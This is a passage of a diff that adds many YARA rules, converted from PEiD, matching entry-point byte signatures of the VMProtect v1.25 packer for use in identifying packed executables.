+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02728_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02729_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02730_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02731_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02732_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02733_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02734_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02735_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02736_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02737_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02738_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02739_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02740_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02741_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02742_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02743_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02744_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02745_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02746_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02747_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02748_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02749_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02750_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02751_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02752_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02753_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02754_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02755_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02756_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02757_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02758_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02759_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02760_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02761_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02762_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02763_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02764_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02765_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02766_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02767_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02768_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02769_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02770_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02771_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+    condition:
+        $a
+}
+rule PEiD_02772_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02773_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02774_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02775_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02776_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02777_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02778_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02779_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02780_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02781_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02782_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02783_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02784_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02785_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02786_VMProtect_v1_25____PolyTech_
+{
+    meta:
